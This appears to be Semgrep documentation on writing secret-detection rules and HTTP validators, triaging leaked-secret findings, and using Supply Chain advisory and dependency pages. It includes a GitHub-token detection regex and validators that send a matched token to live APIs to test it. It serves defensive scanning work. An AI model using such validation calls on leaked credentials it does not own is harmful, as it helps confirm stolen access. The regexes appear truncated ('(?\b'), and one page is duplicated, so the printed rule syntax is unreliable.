severity: MEDIUM
languages:
- javascript
- typescript
validators:
- http:
request:
headers:
Authorization: Bearer $REGEX
Host: api.github.com
User-Agent: Semgrep
method: GET
url: https://api.github.com/user
response:
- match:
- status-code: 200
result:
validity: valid
- match:
- status-code: 401
result:
validity: invalid
patterns:
- patterns:
- pattern: |
"$R"
- metavariable-pattern:
metavariable: $R
patterns:
- pattern-regex: (?\b((ghp|gho|ghu|ghs|ghr|github_pat)_[a-zA-Z0-9_]{36,255})\b)
- focus-metavariable: $REGEX
- metavariable-analysis:
analyzer: entropy
metavariable: $REGEX
```
### Subkeys under the `metadata` key
These subkeys provide context to both you and other end-users, as well as to
Semgrep.
```yaml theme={null}
...
metadata:
...
secret_type: GitHub
technology:
- secrets
...
```
| Key | Description |
| ------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `secret_type` | Defines the name of the service or the type of secret. When writing a custom validator, set this value to a descriptive name to help identify it when triaging secrets. Examples of secret types include "Slack," "Asana," and other common service names. |
| `technology` | Set this to `secrets` to identify the rule as a Secrets rule. |
### Subkeys under the `patterns` key
These subkeys identify the token to analyze in a given match.
```yaml theme={null}
...
patterns:
...
- pattern-regex: (?\b((ghp|gho|ghu|ghs|ghr|github_pat)_[a-zA-Z0-9_]{36,255})\b)
- focus-metavariable: $REGEX
- metavariable-analysis:
analyzer: entropy
metavariable: $REGEX
..
```
| Key | Description |
| ----------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `pattern-regex` | Searches for a regular expression and assigns it to the named capture group regex, which is then used as \$REGEX. |
| `focus_metavariable` | This key enables the rule to define a metavariable upon which Semgrep can perform further analysis, such as entropy analysis. |
| `metavariable_analysis` | Under `metavariable_analysis`, you can define additional keys: `analyzer` and `metavariable`. These specify the kind of analysis Semgrep performs and on what variable. |
**TIP**
For more information, see the rule syntax for [ Focus metavariable](/writing-rules/rule-syntax/#focus-metavariable).
### Subkeys under the `validators` and `http` keys
The `validators` key uses a list of keys to define the validator function. In
particular, the `http` key defines how the rule forms a request object and what
response is expected for valid and invalid states. Although some rules do not use a `validators` key, most Secrets rules use it.
```yaml theme={null}
...
validators:
- http:
request:
headers:
Authorization: Bearer $REGEX
Host: api.github.com
User-Agent: Semgrep
method: GET
url: https://api.github.com/user
response:
- match:
- status-code: '200'
result:
validity: valid
- match:
- status-code: '404'
result:
validity: invalid
```
| Key | Description |
| ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `request` | This key and its subkeys describe the request object and the URL to send the request object to. |
| `response` | This key and its subkeys determine **validation status**. Semgrep Secrets identifies a validation status through HTTP status code **and** other key-value pairs. For example, a rule may require a 200 status code **and** a `"message": "ok"` in the response body for the matching secret to be considered **Confirmed valid**. |
**TIP**
See [ Validators](/semgrep-secrets/validators) for more information.
## Metavariable binding
Semgrep Secrets can use metavariables. Metavariables allow Semgrep Secrets to reuse matched information from your code in its validators. An example of a metavariable is as follows:
When you click **Run**, the content from the metavariable `$HELLO` displays as `This content is now reusable in validators`. If this were a Secrets rule, Semgrep Secrets could use this to call the appropriate service to determine if the secret is active.
## Differences between Semgrep Secrets rules and Semgrep Registry rules
The Semgrep Registry includes SAST rules that can detect secrets to a certain
extent. You can run these rules in Semgrep Code (Semgrep's SAST analyzer), or
even write your own custom secret-detecting SAST rules, but with the following
differences:
* Semgrep Code does not run a validator function against these rules, resulting in less accurate results.
* Because the results are less accurate, these rules are not suitable as criteria to block a PR or MR.
* The UI for Semgrep Code is tailored to SAST triage and does not include filtering functions for valid or invalid tokens.
* Existing Semgrep Pro rules that detect secrets are transitioning from Semgrep Code to Semgrep Secrets. By transitioning these rules, improvements, such as validator functions, can be added to the rules when they are run in Semgrep Secrets.
* You can write your own custom validator functions and run them in Semgrep Secrets for custom services or use cases.
# Triage and remediate findings
Source: https://docs.semgrep.dev/semgrep-secrets/triage-remediation
This article shows you how to manage and triage the findings identified by Semgrep Secrets using Semgrep AppSec Platform.
## Triage findings
You can triage secrets-related findings in Semgrep AppSec Platform on the **Secrets** page. By default, all findings are displayed. A common triage workflow includes the following tasks:
Filtering for a particular characteristic of a finding, such as its **Validation status**, **Repository or Branch**, or **Type**.
Analyzing if the findings are true or false positives.
Applying a **triage state** to the filtered findings based on the analysis in step 2.
i. Setting a finding as **Ignored** means that no action is undertaken and the finding is closed. Subsequent scans won't include this finding.
ii. Setting or retaining a finding as **Open**, **Reviewing**, or **Fixing** means that the finding is a true positive and needs to be fixed or resolved.
ββa. Optional: You can [create a ticket in Jira](/semgrep-appsec-platform/jira) to assign a developer to fix findings.
When commits are added to the PR or MR, Semgrep re-scans the PR or MR and detects if a finding is fixed, or if the secret is no longer valid. The finding changes status automatically upon scanning. Users do not need to set a finding as **Fixed** manually.
For non-historical secrets, a finding is considered fixed once it no longer appears in the code. However, this does *not* mean the underlying risk is resolved. If the secret has leaked, take the necessary remediation steps even if Semgrep marks the finding as **fixed**.
Findings for historical secrets always remain **Open**, because the secrets are identified after they've been removed from the code and Semgrep cannot determine whether it has been rotated or remediated. After youβve addressed the issue, you can manually change the status to **Ignored**.
### Review provisionally ignored findings
If you have Semgrep Multimodal enabled, review the findings that have been **provisionally ignored**. These findings indicate that Semgrep has determined the secret to be **invalid**, which means that the secret has been revoked, was never functional, or used for a custom or private endpoint that Semgrep can't communicate with.
Findings with a status of **provisionally ignored** block pull requests and merge requests if the matching rule is included in a blocking policy. You can change the status of provisionally ignored findings to indicate the next steps in the triage process. For instance, you can set the status to **Reviewing** if you decide to manually review the finding.
## Common filtering use cases
You can find and perform bulk operations through filtering; [all filter operations](/semgrep-secrets/findings#filter-findings) are available to you on the **Secrets** page.
| Task | Steps |
| --------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------ |
| Viewing valid findings | Under **Validation**, click **β οΈConfirmed valid**. |
| View findings in a specific project or branch | 1. Under **Projects**, select a repository from the drop-down menu. 2. Under **Branches**, select a branch from the drop-down menu. |
| View findings of a specific type of secret, such as **personal token** or **password**. | Under **Type**, select a type of secret. |
| View findings of a specific severity | Under **Severity**, select a value. |
You can triage findings in bulk by performing the following steps:
Begin by ensuring that you display all **Open** findings.
Apply filters with as much specificity as possible. You may have to perform bulk triage several times. By starting with the most specific cases, and closing the findings from those specific cases, you are able to narrow down findings as you work from specific to broad filter criteria.
Click the bulk select check box.
Click **Triage**, then your selected triage state, such as **Reviewing** or **Ignored**.
Optional: Repeat this procedure to triage all open findings.
## Triage findings through PR and MR comments
In addition to viewing your results in Semgrep AppSec Platform, you can set up PR or MR comments from Semgrep, which allows you to view findings-related information directly in your pull requests and merge requests.
To receive PR or MR comments, ensure that:
* You have set up [comments](/category/pr-or-mr-comments) as part of your core deployment.
* You have defined which rules and validation states should be in Allow, Comment, or Block mode in the [Policies](/semgrep-secrets/policies) page.
**INFO**
Define which rules and validation states should be in Allow, Comment, or Block mode in the [Policies](/semgrep-secrets/policies) page.
## Default Secrets page view and branch logic
In Semgrep, a **single** finding may appear in several branches. These appearances are called **instances** of a finding. In Semgrep Secrets, the **latest instance**, or the finding from the most recent branch scanned, is displayed by default. This is because, if a Secrets finding is present in **any branch**, even a non-primary (default) branch, it is considered [valid](/semgrep-secrets/conceptual-overview#validate-secrets).
# Write custom validators
Source: https://docs.semgrep.dev/semgrep-secrets/validators
[Semgrep Secrets](/semgrep-secrets/conceptual-overview) uses proprietary **validators** to determine if a secret is
actively being used. Validators are included in the [rules](/semgrep-secrets/rules) that Semgrep Secrets uses.
This article walks you through the syntax required to write your own custom
validators.
**NOTE**
* The syntax for Semgrep Secrets validators is experimental and subject to change.
* Semgrep currently supports validation using HTTP and HTTPS.
## Sample validator
```yaml theme={null}
validators:
- http:
request:
headers:
Authorization: Bearer $REGEX
Host: api.semgrep.dev
User-Agent: Semgrep
method: GET
url: https://api.semgrep.dev/user
response:
- match:
- status-code: 200
result:
validity: valid
- match:
- status-code: 401
result:
validity: invalid
```
```yaml theme={null}
rules:
- id: exampleCo_example
message: >-
This is an example rule that performs validation against semgrep.dev
severity: MEDIUM
metadata:
product: secrets
secret_type: exampleCo
languages:
- regex
validators:
- http:
request:
headers:
Authorization: Bearer $REGEX
Host: api.semgrep.dev
User-Agent: Semgrep
method: GET
url: https://api.semgrep.dev/user
response:
- match:
- status-code: 200
result:
validity: valid
- match:
- status-code: 401
result:
validity: invalid
patterns:
- patterns:
- pattern-regex: (?\b(someprefix_someRegex[0-9A-Z]{32})\b)
- focus-metavariable: $REGEX
- metavariable-analysis:
analyzer: entropy
metavariable: $REGEX
```
## Syntax
### validator
| Key | Required | Description |
| --------- | -------- | ---------------------------------------------------------- |
| validator | Yes | Used to define a list of validators within a Semgrep rule. |
### type
| Key | Required | Description |
| ---- | -------- | ------------------------------------------ |
| http | Yes | Indicates that the request type is `http`. |
**NOTE**
Semgrep only supports web services with HTTP(S).
### request
| Key | Required | Description |
| ------- | -------- | ------------------------------------------------------------------------------------------------------------------ |
| request | Yes | Describes the request object and the URL to which the request object should be sent |
| method | Yes | The HTTP method Semgrep uses to make the call. Accepted values: `GET`, `POST`, `PUT`, `DELETE`, `OPTIONS`, `PATCH` |
| url | Yes | The URL to which the call is made |
| headers | Yes | The headers to include with the call |
| body | No | The body used with `POST`, `PUT`, and `PATCH` requests |
#### Subkeys for `headers`
The following keys are for use with `headers`:
| Key | Required | Description |
| ------------ | -------- | ------------------------------------------------------------------------------------------------------------- |
| Host | No | The host to which the call is made. Only the `url` field is required, but you can override the host if needed |
| Other-values | No | The request header. Accepts all values, including `Authorization`, `Content-Type`, `User-Agent`, and so on |
#### Example
```yaml theme={null}
request:
headers:
Authorization: Bearer $REGEX
Host: api.semgrep.dev
User-Agent: Semgrep
method: GET
url: https://api.semgrep.dev/user
```
### response
The response key is used to determine the validation state. It accepts a list of objects with the Subkeys `match` and `result`.
| Key | Required | Description |
| ------ | -------- | --------------------------------------------------------- |
| match | Yes | Defines the list of match conditions. |
| result | Yes | Defines the validity. Accepted values: `Valid`, `Invalid` |
#### Subkeys for `match`
Match accepts a list of objects. No specific key is required, but at least one key must be present.
| Key | Description |
| :---------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| status-code | The HTTP status code expected by Semgrep Secrets for it to consider the secret a match |
| content | The response body; you can inspect it for a specific value to determine if the request is valid. An example of where this is useful is when both invalid and valid responses return the same status code |
| headers | Accepts a list of objects with the keys name/value they must be exact values |
#### Subkeys for `result`
| Key | Required | Description |
| -------- | -------- | --------------------------------------------------------------------------------------------------------- |
| validity | Yes | Sets the validity based on the HTTP status code received. Accepted values: `valid` and `invalid` |
| message | No | Used to override the rule message based on the secret's validation state |
| metadata | No | Used to override existing metadata fields or add new metadata fields based on the secret's validity state |
| severity | No | Used to override the existing rule severity based on the validation state |
Use `severity` in the result to set finding severity based on validation status. For example, if the secret is invalid, the `severity` may be `MEDIUM` or `LOW`.
#### Subkeys for `content`
| Key | Required | Description |
| ------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| language | Yes | Indicates the pattern language to use; this must be `regex` or `generic` |
| pattern-regex | Yes | Defines the regular expression used to search the response body. Alternatively, you can use the `patterns` key and [define patterns as you would for rules](/semgrep-secrets/rules/#subkeys-under-the-patterns-key) |
#### Example
```yaml theme={null}
response:
- match:
- status-code: 200
- content:
language: regex
pattern-regex: (\"ok\":true)
status-code: 200
```
## Sample rules with validators
```yaml theme={null}
rules:
- id: exampleCo_example
message: >-
This is an example rule that performs validation against semgrep.dev
severity: MEDIUM
metadata:
product: secrets
secret_type: exampleCo
languages:
- regex
validators:
- http:
request:
headers:
Host: api.semgrep.dev
User-Agent: Semgrep
method: POST
body: |
{"key": "$REGEX"}
url: https://api.semgrep.dev/user
response:
- match:
- status-code: 200
result:
validity: valid
- match:
- status-code: 401
result:
validity: invalid
patterns:
- patterns:
- pattern-regex: (?\b(someprefix_someRegex[0-9A-Z]{32})\b)
- focus-metavariable: $REGEX
- metavariable-analysis:
analyzer: entropy
metavariable: $REGEX
```
```yaml theme={null}
rules:
- id: exampleCo_example
message: >-
This is an example rule that performs validation against semgrep.dev
severity: MEDIUM
metadata:
product: secrets
secret_type: exampleCo
languages:
- regex
validators:
- http:
request:
headers:
Host: api.semgrep.dev
User-Agent: Semgrep
method: POST
body: |
{"key": "$REGEX"}
url: https://api.semgrep.dev/user
response:
- match:
- status-code: 200
- content:
language: regex
pattern-regex: (\"role\":admin)
result:
validity: valid
severity: ERROR
message: >-
The token exposed is for an admin user, and this should be fixed immediately!
See https://howtorotate.com/introduction/key-rotation-101/ on how to
rotate secrets and https://blog.gitguardian.com/what-to-do-if-you-expose-a-secret/
on how to look for suspicious activity.
metadata:
context:
- admin: true
- match:
- status-code: 200
result:
validity: invalid
patterns:
- patterns:
- pattern-regex: (?\b(someprefix_someRegex[0-9A-Z]{32})\b)
- focus-metavariable: $REGEX
- metavariable-analysis:
analyzer: entropy
metavariable: $REGEX
```
### Base64 encoding
You can use Base64 encoding by leveraging the `__semgrep_internal_encode_64(...)` utility. Base64 encoding can be applied to the following fields:
* `url`
* `body`
* `header` values
**NOTE**
The Base64 encoding of fields is experimental and can change at any time.
```yaml theme={null}
rules:
- id: exampleCo_example
message: >-
This is an example rule that performs validation against semgrep.dev
severity: MEDIUM
metadata:
product: secrets
secret_type: exampleCo
languages:
- regex
validators:
- http:
request:
headers:
Authorization: Basic __semgrep_internal_encode_64($REGEX:)
Host: api.semgrep.dev
User-Agent: Semgrep
method: GET
url: https://api.semgrep.dev/user
response:
- match:
- status-code: 200
result:
validity: valid
- match:
- status-code: 401
result:
validity: invalid
patterns:
- patterns:
- pattern-regex: (?\b(someprefix_someRegex[0-9A-Z]{32})\b)
- focus-metavariable: $REGEX
- metavariable-analysis:
analyzer: entropy
metavariable: $REGEX
```
# Write custom validators
Source: https://docs.semgrep.dev/semgrep-secrets/validators-1
[Semgrep Secrets](/semgrep-secrets/conceptual-overview) uses proprietary **validators** to determine if a secret is
actively being used. Validators are included in the [rules](/semgrep-secrets/rules) that Semgrep Secrets uses.
This article walks you through the syntax required to write your own custom
validators.
**NOTE**
* The syntax for Semgrep Secrets validators is experimental and subject to change.
* Semgrep currently supports validation using HTTP and HTTPS.
## Sample validator
```yaml theme={null}
validators:
- http:
request:
headers:
Authorization: Bearer $REGEX
Host: api.semgrep.dev
User-Agent: Semgrep
method: GET
url: https://api.semgrep.dev/user
response:
- match:
- status-code: 200
result:
validity: valid
- match:
- status-code: 401
result:
validity: invalid
```
```yaml theme={null}
rules:
- id: exampleCo_example
message: >-
This is an example rule that performs validation against semgrep.dev
severity: MEDIUM
metadata:
product: secrets
secret_type: exampleCo
languages:
- regex
validators:
- http:
request:
headers:
Authorization: Bearer $REGEX
Host: api.semgrep.dev
User-Agent: Semgrep
method: GET
url: https://api.semgrep.dev/user
response:
- match:
- status-code: 200
result:
validity: valid
- match:
- status-code: 401
result:
validity: invalid
patterns:
- patterns:
- pattern-regex: (?\b(someprefix_someRegex[0-9A-Z]{32})\b)
- focus-metavariable: $REGEX
- metavariable-analysis:
analyzer: entropy
metavariable: $REGEX
```
## Syntax
### validator
| Key | Required | Description |
| --------- | -------- | ---------------------------------------------------------- |
| validator | Yes | Used to define a list of validators within a Semgrep rule. |
### type
| Key | Required | Description |
| ---- | -------- | ------------------------------------------ |
| http | Yes | Indicates that the request type is `http`. |
**NOTE**
Semgrep only supports web services with HTTP(S).
### request
| Key | Required | Description |
| ------- | -------- | ------------------------------------------------------------------------------------------------------------------ |
| request | Yes | Describes the request object and the URL to which the request object should be sent |
| method | Yes | The HTTP method Semgrep uses to make the call. Accepted values: `GET`, `POST`, `PUT`, `DELETE`, `OPTIONS`, `PATCH` |
| url | Yes | The URL to which the call is made |
| headers | Yes | The headers to include with the call |
| body | No | The body used with `POST`, `PUT`, and `PATCH` requests |
#### Subkeys for `headers`
The following keys are for use with `headers`:
| Key | Required | Description |
| ------------ | -------- | ------------------------------------------------------------------------------------------------------------- |
| Host | No | The host to which the call is made. Only the `url` field is required, but you can override the host if needed |
| Other-values | No | The request header. Accepts all values, including `Authorization`, `Content-Type`, `User-Agent`, and so on |
#### Example
```yaml theme={null}
request:
headers:
Authorization: Bearer $REGEX
Host: api.semgrep.dev
User-Agent: Semgrep
method: GET
url: https://api.semgrep.dev/user
```
### response
The response key is used to determine the validation state. It accepts a list of objects with the Subkeys `match` and `result`.
| Key | Required | Description |
| ------ | -------- | --------------------------------------------------------- |
| match | Yes | Defines the list of match conditions. |
| result | Yes | Defines the validity. Accepted values: `Valid`, `Invalid` |
#### Subkeys for `match`
Match accepts a list of objects. No specific key is required, but at least one key must be present.
| Key | Description |
| :---------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| status-code | The HTTP status code expected by Semgrep Secrets for it to consider the secret a match |
| content | The response body; you can inspect it for a specific value to determine if the request is valid. An example of where this is useful is when both invalid and valid responses return the same status code |
| headers | Accepts a list of objects with the keys name/value they must be exact values |
#### Subkeys for `result`
| Key | Required | Description |
| -------- | -------- | --------------------------------------------------------------------------------------------------------- |
| validity | Yes | Sets the validity based on the HTTP status code received. Accepted values: `valid` and `invalid` |
| message | No | Used to override the rule message based on the secret's validation state |
| metadata | No | Used to override existing metadata fields or add new metadata fields based on the secret's validity state |
| severity | No | Used to override the existing rule severity based on the validation state |
Use `severity` in the result to set finding severity based on validation status. For example, if the secret is invalid, the `severity` may be `MEDIUM` or `LOW`.
#### Subkeys for `content`
| Key | Required | Description |
| ------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| language | Yes | Indicates the pattern language to use; this must be `regex` or `generic` |
| pattern-regex | Yes | Defines the regular expression used to search the response body. Alternatively, you can use the `patterns` key and [define patterns as you would for rules](/semgrep-secrets/rules/#subkeys-under-the-patterns-key) |
#### Example
```yaml theme={null}
response:
- match:
- status-code: 200
- content:
language: regex
pattern-regex: (\"ok\":true)
status-code: 200
```
## Sample rules with validators
```yaml theme={null}
rules:
- id: exampleCo_example
message: >-
This is an example rule that performs validation against semgrep.dev
severity: MEDIUM
metadata:
product: secrets
secret_type: exampleCo
languages:
- regex
validators:
- http:
request:
headers:
Host: api.semgrep.dev
User-Agent: Semgrep
method: POST
body: |
{"key": "$REGEX"}
url: https://api.semgrep.dev/user
response:
- match:
- status-code: 200
result:
validity: valid
- match:
- status-code: 401
result:
validity: invalid
patterns:
- patterns:
- pattern-regex: (?\b(someprefix_someRegex[0-9A-Z]{32})\b)
- focus-metavariable: $REGEX
- metavariable-analysis:
analyzer: entropy
metavariable: $REGEX
```
```yaml theme={null}
rules:
- id: exampleCo_example
message: >-
This is an example rule that performs validation against semgrep.dev
severity: MEDIUM
metadata:
product: secrets
secret_type: exampleCo
languages:
- regex
validators:
- http:
request:
headers:
Host: api.semgrep.dev
User-Agent: Semgrep
method: POST
body: |
{"key": "$REGEX"}
url: https://api.semgrep.dev/user
response:
- match:
- status-code: 200
- content:
language: regex
pattern-regex: (\"role\":admin)
result:
validity: valid
severity: ERROR
message: >-
The token exposed is for an admin user, and this should be fixed immediately!
See https://howtorotate.com/introduction/key-rotation-101/ on how to
rotate secrets and https://blog.gitguardian.com/what-to-do-if-you-expose-a-secret/
on how to look for suspicious activity.
metadata:
context:
- admin: true
- match:
- status-code: 200
result:
validity: invalid
patterns:
- patterns:
- pattern-regex: (?\b(someprefix_someRegex[0-9A-Z]{32})\b)
- focus-metavariable: $REGEX
- metavariable-analysis:
analyzer: entropy
metavariable: $REGEX
```
### Base64 encoding
You can use Base64 encoding by leveraging the `__semgrep_internal_encode_64(...)` utility. Base64 encoding can be applied to the following fields:
* `url`
* `body`
* `header` values
**NOTE**
The Base64 encoding of fields is experimental and can change at any time.
```yaml theme={null}
rules:
- id: exampleCo_example
message: >-
This is an example rule that performs validation against semgrep.dev
severity: MEDIUM
metadata:
product: secrets
secret_type: exampleCo
languages:
- regex
validators:
- http:
request:
headers:
Authorization: Basic __semgrep_internal_encode_64($REGEX:)
Host: api.semgrep.dev
User-Agent: Semgrep
method: GET
url: https://api.semgrep.dev/user
response:
- match:
- status-code: 200
result:
validity: valid
- match:
- status-code: 401
result:
validity: invalid
patterns:
- patterns:
- pattern-regex: (?\b(someprefix_someRegex[0-9A-Z]{32})\b)
- focus-metavariable: $REGEX
- metavariable-analysis:
analyzer: entropy
metavariable: $REGEX
```
# View advisories and search for related findings
Source: https://docs.semgrep.dev/semgrep-supply-chain/advisories
The **Advisories** page lets you view the vulnerability announcements related to the projects you've added to your Semgrep organization and helps you identify all findings related to a specific advisory.
**PREREQUISITE**
At least one project (a repository or subfolder in a monorepo) that scans for dependencies through Semgrep Supply Chain. See [Scan third-party dependencies](/semgrep-supply-chain/set-up-and-configure).
## View advisories
To see the advisories relevant to your Semgrep organization:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Go to [**Rules & Policies > Advisories**](https://semgrep.dev/orgs/-/advisories).
You can use the filters available to narrow down the results displayed:
| Filter | Description |
| :----------------------------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Advisory** | The title of the advisory or its associated CVE. |
| **Language** | The language for which the advisory is applicable. |
| **Severity** | The severity of the findings associated with the advisory. |
| **Advisory type** | The reachability type of the findings associated with the advisory:
**Undetermined**: no analysis available
**Reachable**: detects vulnerable code patterns
**Always reachable**: flags packages that are considered vulnerable regardless of usage
**Conditionally reachable**: requires manual review and triage to determine impact
**Malicious**: identifies dangerous packages or dangerous versions of a package.
|
### Advisory details
For each advisory listed, you can click the entry to view additional details, including:
* A description
* Reference links
* The rule Semgrep uses to match your code
* Affected projects
## Identify findings associated with an advisory
You can use the **Advisories** page to see if any of your projects are affected by a specific incident:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Go to [**Rules & Policies > Advisories**](https://semgrep.dev/orgs/-/advisories).
Using the **Advisory** filter, provide the relevant CVE or keywords.
Click the advisory in the results list to open up the **Advisory Details** page.
Go to **Affected projects**.
For each affected project, Semgrep displays the number of findings associated with the advisory on each branch. Click the displayed number to go to the **Findings** page, where you can review and manage these issues.
# View Dependency paths (beta)
Source: https://docs.semgrep.dev/semgrep-supply-chain/dependency-paths
This feature is currently in invite-only beta. Please contact [Semgrep Support](/support) for more information.
The Dependency paths feature allows you to view dependency paths for all transitive dependencies introduced in a project, up to seven layers of depth. With this information, you can understand:
* How a transitive dependency was introduced.
* How deeply the transitive dependency is nested in the dependency tree.
### Supported languages
Semgrep generates dependency paths for most C#, Java, JavaScript, Kotlin, and Python projects.
#### C\#
Semgrep generates dependency paths for C# projects using NuGet.
#### Java
Semgrep generates dependency paths for Java projects that include a `maven_dep_tree.txt` file whenever you invoke a scan using `semgrep ci`.
Semgrep can also generate dependency paths for Java projects with lockfiles and Java projects **without lockfiles** if they're built using Maven or Gradle with the help of the Gradle Wrapper. Dependency paths for such projects are available when [scanning without lockfiles](/semgrep-supply-chain/set-up-and-configure#dynamic-dependency-resolution-beta).
#### JavaScript
Semgrep generates dependency paths for JavaScript projects that use `npm`, `yarn`, or `pnpm` and include a lockfile whenever you invoke a scan using `semgrep ci`.
#### Kotlin
Semgrep generates dependency paths for Kotlin projects built using Maven when a `maven_dep_tree.txt` file is present, and for Maven or Gradle when [scanning without lockfiles](/semgrep-supply-chain/set-up-and-configure#dynamic-dependency-resolution-beta).
#### Python
Semgrep generates dependency paths for Python projects that use the following package managers:
* `poetry` and `poetry.lock` file
* `uv` (requires Semgrep version `1.127.0` or later)
When [scanning without lockfiles](/semgrep-supply-chain/set-up-and-configure#dynamic-dependency-resolution-beta), Semgrep also generates dependency paths for Python projects that use the following package managers:
* `Pipenv`
* `piptools`
* `pip` with `requirements.txt`
### View the dependency path
After you have been added to the Dependency paths and a new scan completes on a repository, view the dependency paths in Semgrep AppSec Platform on:
* The **Finding Details** page for a transitive finding.
* The **Supply Chain > Dependencies** tab when you view a transitive dependency; click **Transitive** to see the dependency path.
# View and search for dependencies
Source: https://docs.semgrep.dev/semgrep-supply-chain/dependency-search
Semgrep Supply Chain's dependency search allows you to query for and view any dependency in your project. This feature detects all transitive and direct dependencies across all of your projects in Semgrep AppSec Platform. Additionally, the dependency search results list all versions of a dependency and the projects that use it.
You can use dependency search even for newly discovered vulnerabilities that might not yet have a formal CVE or Supply Chain rule. You can also use dependency search to view all versions of a dependency, which can be useful for standardization.
**PREREQUISITE**
At least one project (a repository or subfolder in a monorepo) that scans for dependencies through Semgrep Supply Chain. See [Scan third-party dependencies](/semgrep-supply-chain/set-up-and-configure).
## Enable and use dependency search
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **Settings > General > Supply Chain**.
Click **Dependency search** if it's not already enabled.
Navigate to **Supply Chain > Dependencies**.
Semgrep displays the manifest files or lockfiles that it used to determine dependency information and the dependencies included in each of the manifest files or lockfiles.
### View additional manifest files or lockfiles
By default, Semgrep only displays dependencies listed in a given project's first **10** manifest files or lockfiles. To load information from additional files:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Navigate to **Supply Chain > Dependencies**, and scroll to the bottom of the page.
Click **Fetch more lockfiles**.
## Search for dependencies
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Navigate to **Supply Chain > Dependencies**.
Using the **Dependency** search bar, enter the name of the dependency you are searching for.
Optional: Apply filters as necessary for your search.
### Filter results by version number
To filter your results by version number, enter the dependency name and press **Enter** or **Return**. This returns a list of matches, but you can then filter your results further by version number:
Click the name of your dependency to open the **Dependency** dialog:
To search for a **specific version** of a package, click **Exact match**, then enter the **version** number.To search for a **range of versions**, click **Range**, then enter the minimum and maximum versions.Click **Apply** to save your changes and see your results.
You can also use the **Advanced search** to search for specific versions of dependencies:
Click **Advanced search**.
Enter the **Dependency** name.
To specify a **version** number, click **Exact match**. For a range, click **Range** and provide the minimum and maximum versions.
**Optional**: to search for a **specific version** of a package, click **Exact match**, then enter the **version** number.
**Optional**: to search for a **range of versions**, click **Range**, then enter the minimum and maximum versions.
You can search for multiple packages simultaneously.
## Search filters
Dependency search provides the following filters, which correspond to the data points displayed by Semgrep about each dependency:
| Filter | Description |
| :--------------------------------------------------------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------- |
| Dependency | The name and version of the dependency. |
| Projects | The projects where the dependency can be found. |
| Transitivity | The relationship of the dependency to your codebase. |
| License Policy | The License Policy you set. Determines whether a dependency can be used based on its license. |
| License | The dependency's license type. |
| Language | The language of the dependency. |
# View finding details
Source: https://docs.semgrep.dev/semgrep-supply-chain/finding-details
Learn how to view details about a specific Supply Chain finding in Semgrep AppSec Platform.
The **finding's details** page displays in-depth information about the finding, including:
* A detailed description of the Finding
* Rule details, including the severity level, EPSS scores, and identifiers such as the CVE ID
* Finding details, such as whether the finding is reachable, when the finding was identified, and the project name, branch name, and commit ID where the issue was introduced
* Remediation suggestions
* The code snippet where the issue was identified, along with a link to the source code where Semgrep identified the issue
* Dependency path information
* Activity history for the finding, including when it was first identified, whether it has been analyzed by Semgrep Multimodal, whether there are any accompanying Jira tickets, notes written by other Semgrep users specifically about this finding, and more.
## View a finding's details
Log in to [Semgrep AppSec Platform](https://semgrep.dev/login).
In the **navigation bar**, click **[Supply Chain](https://semgrep.dev/orgs/-/supply-chain)**.
Identify the finding whose details you want to view:
* If the default **Group by Rule** is enabled, click the **Details** icon on the card of the finding.
* If the **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
## Available actions on the finding's details page
Click on the **kebab** icon to see the menu that includes the following options:
* **Mark as reviewing** to change its status to **Reviewing** and flag the finding as one that is under further manual review
* **Copy file path** of the source code where Semgrep identified the issue
* **Copy link** to the finding's details page
### Ignore the finding
Click **Ignore...** to ignore the finding. Provide an **Ignore reason**, and add **Comments** on why you think that this finding should be ignored.
If the file for the finding in question is a test file or something similar, you can choose the **Ignore files in future scans...** option, then select the file. Semgrep ignores the file in subsequent scans.
Click **Ignore** to proceed.
### Fix the finding
Click **Fix** to see the menu that includes the following options:
* View the associated Jira ticket, if available
* Open a PR that fixes the issue, if possible
* Change the status of the issue as **To fix**, indicating that you plan to return to the finding in the future
Note that Semgrep automatically marks findings as fixed when they're no longer detected in subsequent scans.
### Add notes to findings
To **add notes** to the activity history of a finding:
Select a finding where you want to view details or add notes, and then do one of the following actions:
* If the default **Group by Rule** is enabled, click **Details** icon on the card of the finding.
* If **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
Go to the **Activity** section, then click **New note**.
# View findings in Semgrep AppSec Platform
Source: https://docs.semgrep.dev/semgrep-supply-chain/findings
Semgrep Supply Chain generates a **finding** when a rule matches a piece of code in your codebase. You can view these findings in Semgrep AppSec Platform's [**Supply Chain** page](https://semgrep.dev/orgs/-/supply-chain).
**PREREQUISITE**
At least one repository that [scans for dependencies through Semgrep Supply Chain](/semgrep-supply-chain/set-up-and-configure).
## View findings
To view your findings in Semgrep AppSec Platform:
Log in to [Semgrep AppSec Platform](https://semgrep.dev/login).
In the **Navigation bar**, click **[Supply Chain](https://semgrep.dev/orgs/-/supply-chain)**.
By default, Semgrep displays **Priority** findings, which are defined as findings that:
* Have a severity level of **critical** or **high**
* Are **reachable**
You can switch to the **All** tab at any point to view all findings identified by Semgrep Supply Chain. Both the **Priority** findings view and the **All** findings view display high-level information about your findings.
The **Priority** tab displays all available findings filters. The findings filters shown are not limited to those pre-selected by Semgrep. This allows you to customize the **Priority** tab to meet your organization's requirements and display the findings you categorize as priorities.
**LOCAL SCANS**
